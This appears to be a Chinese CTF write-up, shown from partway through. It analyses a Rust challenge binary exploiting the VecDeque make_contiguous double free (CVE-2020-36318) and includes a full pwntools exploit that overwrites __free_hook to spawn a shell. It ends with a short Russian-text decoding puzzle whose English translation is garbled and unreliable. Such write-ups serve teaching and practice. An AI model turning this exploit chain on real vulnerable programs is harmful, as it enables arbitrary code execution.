| case 4u: // View core::fmt::Arguments::new_v1::h44adc30b070cf8c4(&v45, __PAIR128__(1LL, &stru_7BBC0), unk_62828); std::io::stdio::_print::h0d31d4b9faa6e1ec(); alloc::collections::vec_deque::VecDeque$LT$T$GT$::make_contiguous::he6debc29b2205434(&v12, &stru_7BBC0); v1 = &v12; alloc::collections::vec_deque::VecDeque$LT$T$GT$::iter::h0cc194c5561ce1ed(&v46, &v12); core::iter::traits::iterator::Iterator::for_each::h73567d402a60c07d(v10, &v46);
|
make_contiguous 显得十分可疑,于是去查了一下官方文档:doc.rust-lang.org
Rearranges the internal storage of this deque so it is one contiguous slice, which is then returned.
大致意思就是将容器中的数据重新紧凑排列到内存中。
调试分析
首先需要先清楚整个容器的储存方式。因为符号表没抹掉,所以能直接拿到:
1 2 3 4 5 6 7
| //容器本身 alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> { __int32 tail; __int32 head; alloc::raw_vec::RawVec<alloc::boxed::Box<vdq::Note>,alloc::alloc::Global> buf; }
|
1 2 3 4 5
| //容器成员 vdq::Note{ core::option::Option<usize> idx; alloc::vec::Vec<u8> msg; }
|
首先如果使用如下payload测试其内存模型:
1
| ["Add", "Add", "Add", "Add"]
|
当添加第 [4] 个 message 的时候,会用其他函数拓展容器的缓冲区,内存变化如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| #Add note [3] with message : pwndbg> x /10gx 0x7fffffffd930 0x7fffffffd930: 0x0000000000000000 0x0000000000000003 0x7fffffffd940: 0x00005555555d7e40 0x0000000000000004 pwndbg> x /10gx 0x00005555555d7e40 0x5555555d7e40: 0x00005555555d7e90 0x00005555555d7ee0 0x5555555d7e50: 0x00005555555d7f30 0x0000000000000000
#Add note [4] with message : #注意到 VecDeque::buf 的地址已经变化 pwndbg> x /10gx 0x7fffffffd930 0x7fffffffd930: 0x0000000000000000 0x0000000000000004 0x7fffffffd940: 0x00005555555d7fb0 0x0000000000000008 pwndbg> x /10gx 0x00005555555d7fb0 0x5555555d7fb0: 0x00005555555d7e90 0x00005555555d7ee0 0x5555555d7fc0: 0x00005555555d7f30 0x00005555555d7f80 0x5555555d7fd0: 0x0000000000000000 0x0000000000000000 0x5555555d7fe0: 0x0000000000000000 0x0000000000000000
|
现在大致就能够明白整个Deque的内存模型了:
- 初始化阶段会开辟大小为 4 的buf,当其装满时则将大小翻倍
- 队首是指向高位的 index ,队尾则指向低位的 index
- 当index到达最大值时会进行回绕;但如果回绕的head再一次越过tail,就表明容器装满了,会再次拓展
- 入队和出队都只是将 head 或 tail 进行加减运算罢了,并不会立即释放
接下来实际调试一下上述poc,当View触发之后,容器的内存如下:
1 2 3 4 5 6 7 8 9 10 11
| #VecDeque pwndbg> x /10gx 0x7fffffffd940 0x7fffffffd940: 0x0000000000000001 0x0000000000000004 0x7fffffffd950: 0x00005555555d7e80 0x0000000000000004 0x7fffffffd960: 0x00005555555d7fa0 0x0000000000000004
#VecDeque::buf pwndbg> x /10gx 0x00005555555d7e80 0x5555555d7e80: 0x00005555555d7f20 0x00005555555d7ff0 0x5555555d7e90: 0x00005555555d7f20 0x00005555555d7f20 0x5555555d7ea0: 0x00005555555d7f70 0x0000000000000021
|
tail=1;
head=4;
其中buf[2] == buf[3];
那么在释放该容器时,就会因为两者buf[2]和buf[3]都被认为是合法的容器而导致错误。事实也确实如此,如果我们在最后添加一个 View ,那么就会打印出两次相同内容:
1 2 3 4
| Cached notes: -> 4 -> 5 -> 5
|
既然已经明白了触发double free的原因,接下来适当构造 payload 来进行任意地址写就算成功了。
但还有一个疑点:
- make_contiguous 到底做了什么? 或许直接看源代码就能解决问题,但并不是每次都有代码可查。至少笔者本次甚至没意识到程序是由 rust 所写,以及即便知道,也很难得知版本对应的漏洞和commit。因此本次还是直接通过调试来确定其逻辑。(这种方法是有条件的,因为本题的漏洞属于逻辑漏洞,因此我们只需要通过调试理解其执行逻辑即可;但有些漏洞则是细节上的设计问题,对于这类问题,调试就不那么有效了)
注:
- 其实还是有办法找到的,关键字:[rust,cve,make_contiguous]
- 直接搜索就能找到 CVE-2020-36318 ,并能在commit中找到具体的最小poc
笔者根据上述内容适当改了改payload,然后将断点打在 make_contiguous 处:
1
| ["Add", "Add", "Add","Remove", "Remove", "Add", "View"]
|
此时的容器内存布局:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| #before pwndbg> x /10gx 0x7fffffffd930 0x7fffffffd930: 0x0000000000000002 0x0000000000000000 0x7fffffffd940: 0x00005555555d7e60 0x0000000000000004
pwndbg> x /10gx 0x00005555555d7e60 0x5555555d7e60: 0x00005555555d7eb0 0x00005555555d7f00 0x5555555d7e70: 0x00005555555d7f50 0x00005555555d7f00
#after pwndbg> x /10gx 0x7fffffffd930 0x7fffffffd930: 0x0000000000000000 0x0000000000000002 0x7fffffffd940: 0x00005555555d7e60 0x0000000000000004
pwndbg> x /10gx 0x00005555555d7e60 0x5555555d7e60: 0x00005555555d7f50 0x00005555555d7f00 0x5555555d7e70: 0x00005555555d7f50 0x00005555555d7f00
|
在发生地址回绕之后,调用 make_contiguous 会将实际在用的数据向前重新对齐。本例中就将 buf[2] 与 buf[3] 重新拷贝到了 buf[0] 和 buf[1] 的位置,同时修改 head 和 tail 的值使其正确。
但需要注意,本例有些不明确。笔者在后续调试中验证了得到了如下结论:
- 如果 tail < head,则无事发生
- 如果 tail > head,就将 tail 到 head 之间的切片拼接到当前 head 位置
综上,我们最终能够明白poc之所以会导致崩溃的原因是:
- 首先是 head 第一次回绕,同时在第一个单元留下合法数据
- 而第一次 make_contiguous ,因为此时 head=1,导致其整合时越过了第一个单元,使得 head 超出 Size 却没有回绕
- 此时再次 Add 使其回绕,但由于其回绕是通过取余的方式,因此使得再次 head=1
- 但由于容器本身的 Size 并未变化,因此 buf[0] 的数据仍然起效,每次 make_contiguous 都会正常拷贝其地址,以至于此时 tail 与 tail 间多出了几个相同的地址,因此释放时触发了 double free
事后查阅了源代码也可以看见,原函数此处是直接返回一个切片,但由于并未考虑到索引回绕的问题,因此才会导致上述错误。
1 2
| - return unsafe { &mut self.buffer_as_mut_slice()[tail..head] };//此处直接返回了切片 + return unsafe { RingSlices::ring_slices(self.buffer_as_mut_slice(), head, tail).0 };
|
Attack Test
因为 make_contiguous 会将 tail 到 head 间的元素拷贝到 head 处,同时将 head 增加对应数量,但其增值并不会回绕,而会越过 Size,只要保证此时 head 不去变动,那么之后执行 Remove 也不会导致 tail 越过 head,再尝试 View 时则会因为 UAF 泄露地址。
payload 1:
1
| ["Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View","Remove", "Remove", "Remove", "View"]
|
在最开始的 Add 中混入一个极大的内容,使得其被释放以后会被装入 Unsorted Bin ,然后在第一次 View 时使 head 越界,然后通过 Remove 使得 tail 回绕,那么再用 View 就会泄露 libc_Base 了。
接下来需要构造 UAF ,通过 Append 写 free_hook:
1 2
| "Add", "Add", "Add","Add","Archive","Archive","Remove", "Remove", "Add", "Add", "Add","Add","Add","Add","View", "Remove","Remove","Remove","Remove","Archive","Remove", "View"
|
最精巧的是,上述payload会让容器内存状态如下,payload 2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| #before View pwndbg> x/10gx 0x7ffdf0176b80 0x7ffdf0176b80: 0x0000000000000004 0x0000000000000002 0x7ffdf0176b90: 0x000055a6952062e0 0x0000000000000008
pwndbg> x/10gx 0x000055a6952062e0 0x55a6952062e0: 0x000055a695206770 0x000055a6952067c0 0x55a6952062f0: 0x000055a6952062b0 0x000055a6952062b0 0x55a695206300: 0x000055a6952061e0 0x000055a695206210 0x55a695206310: 0x000055a695206260 0x000055a695205e60
#after pwndbg> x/10gx 0x7ffdf0176b80 0x7ffdf0176b80: 0x0000000000000002 0x0000000000000008 0x7ffdf0176b90: 0x000055a6952062e0 0x0000000000000008
pwndbg> x/10gx 0x000055a6952062e0 0x55a6952062e0: 0x000055a695206770 0x000055a6952067c0 0x55a6952062f0: 0x000055a6952061e0 0x000055a695206210 0x55a695206300: 0x000055a695206260 0x000055a695205e60 0x55a695206310: 0x000055a695206770 0x000055a6952067c0
|
最终在通过 make_contiguous 的整合以及 Remove 的回绕,将0x000055a6952067c0释放,并能够在之后通过 Append 写此处地址。
payload 3:
1
| "Append","Archive","Append","Add"
|
这里有一个一直没有注意到的可以利用的点,Append 操作中会调用 get_raw_line ,该函数会申请一块内存用以存放我们的输入。此时的 Bin 状态如下:
1
| 0x30 [ 5]: 0x55a6952067c0 —▸ 0x55a695206260 —▸ 0x55a695206210 —▸ 0x55a6952061e0 —▸ 0x55a6952062b0 ◂— 0x0
|
它会申请 0x55a6952067c0 处内存并向内储存数据。
现在您可以已经发现了,在我们控制 0x55a6952067c0 的内存指向之后,再对其调用 Append 就能够任意地址写了。
闲言:
- 事实上,笔者在发现漏洞上并没有太多疑问,但却在漏洞利用上花了非常多时间。笔者最开始不打算参照 wp 中的 payload 去做,本想着能不能靠自己独立写出,但经过了非常长时间的搏斗,不得不说出题人对本题的理解真的好深,最后一次 make_contiguous 时需要的状态笔者在尝试自行构造时花了非常多时间也只能构造出差不多的样子,但完全不如出题人所用的那样优雅
- 不过也可能只是我对 rust 不太熟悉的缘故吧,还是太菜了
my exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import * context.log_level = "debug" p=process("./vdq")
pay = '''[ "Add", "Add", "Archive", "Add", "Archive", "Add", "Add", "View", "Remove", "Remove", "Remove", "View",
"Add", "Add", "Add","Add","Archive","Archive","Remove", "Remove", "Add", "Add", "Add","Add","Add","Add","View", "Remove","Remove","Remove","Remove","Archive","Remove", "View", "Append","Archive","Append","Add" ] $''' p.sendlineafter('!\n',pay) p.sendlineafter(': \n','a'*0x80) p.sendlineafter(': \n','a'*0x80) p.sendlineafter(': \n','1'*0x410) p.sendlineafter(': \n','a'*0x80) p.sendlineafter(': \n','a'*0x80)
p.recvuntil('Cached notes:') p.recvuntil('Cached notes:') p.recvuntil(' -> ') p.recvuntil(' -> ') leak_arena=0 for i in range(8): leak_byte=int(p.recv(2),0x10) leak_arena+=leak_byte<<(i*8)
print(hex(leak_arena))
base=leak_arena-(0x7f57fd2b3ca0-0x7f57fcec8000) p.success('base:'+hex(base)) __free_hook=base+0x7ff2888cb8e8-0x7ff2884de000 p.success('__free_hook:'+hex(__free_hook)) system=base+0x7ffff7617420-0x7ffff75c8000 p.success('system:'+hex(system))
for i in range(10): p.sendlineafter(': \n','')
p.sendlineafter(': \n',flat([0,0,__free_hook-0xa,0x3030303030303030])) p.sendlineafter(': \n',p64(system)) p.sendlineafter(': \n','/bin/sh\0') p.interactive()
|
MISC
Plain Text
1
| dOBRO POVALOWATX NA MAT^, WY DOLVNY PEREWESTI \TO NA ANGLIJSKIJ QZYK. tWOJ SEKRET SOSTOIT IZ DWUH SLOW. wSE BUKWY STRO^NYE. qBLO^NYJ ARBUZ. vELAEM WAM OTLI^NOGO DNQ.
|
好像是读音,找个键盘表翻译一下就能拿到原文:
1
| дОБРО ПОВАЛОШАТХ НА МАТ^,ШЫ ДОЛВНЫ ПЕРЕШЕСТИ эТО НА АНГЛИЙСКИЙ ЯЗЫК. тШОЙ СЕКРЕТ СОСТОИТ ИЗ ДШУЧ СЛОШ.шСЕ БУКШЫ СТРО^НЫЕ.яБЛО^НЫЙ АРБУЗ. вЕЛАЕМ ШАМ ОТЛИ^НОГО ДНЯ.
|
翻译成英文即可找到flag:
1 2 3
| WELCOME TO MATH^, WE SHOULD TRANSITION THIS TO ENGLISH. YOUR SECRET CONSISTS OF SLOW SHORT. APPLE ^ WATERMELON. WE HAVE A GREAT DAY.
|
插画ID:96449673